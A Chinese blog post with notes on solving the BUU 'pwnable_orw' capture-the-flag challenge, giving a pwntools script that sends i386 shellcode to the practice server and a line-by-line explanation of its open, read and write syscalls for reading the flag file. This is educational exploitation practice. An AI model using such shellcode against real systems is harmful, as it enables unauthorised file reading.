BUU | pwnable_orw

题解网上其他师傅已经写过了而且写的很详细,菜鸡只好写一下自己做题中的笔记


 

Payload :

1
2
3
4
5
6
7
8
9
10
11
12
#coding:utf-8
from pwn  import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=remote('node3.buuoj.cn',28288)
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag

 Shellcode解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
在文件读写之前,我们必须先打开文件。从应用程序的角度来看,这是通过标准库的open函数完成的,该函数返回一个文件描述符。内核中是由系统调用sys_open()函数完成。
https://www.linuxidc.com/Linux/2012-02/54224.htm
https://www.shiyanlou.com/courses/reports/1098951/
https://blog.csdn.net/qq_35495684/article/details/80161177
 
 
 
第一部分:实现
--》char*file='flag';
--》sys_open(file,0,0);
 
    xor ecx,ecx;
    mov eax,0x5;     # eax = sys_open
    push ecx;        # 字符串结尾"\00"
    push 0x67616c66; # "flags"
    mov ebx,esp;     # ebx = const char __user *filename
    xor edx,edx;     # edx  = int mode 设定权限的
    int 0x80;
     
第二部分:实现
--》sys_read(3,file,0x30);
 
    mov eax,0x3; # eax = sys_read
    mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
    mov ebx,0x3; # ebx = unsigned int fd = 3 文件描述符
    mov dl,0x30; # edx = size_t count 对应字节数
    int 0x80;
 
'''
fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
'''
第三部分:实现
--》sys_write(1,file,0x30);
 
    mov eax,0x4; # eax = sys_write
    mov bl,0x1# ebx = unsigned int fd = 1
    int 0x80;

 

posted @   东坡肉肉君  阅读(878)  评论(1编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
点击右上角即可分享
微信分享提示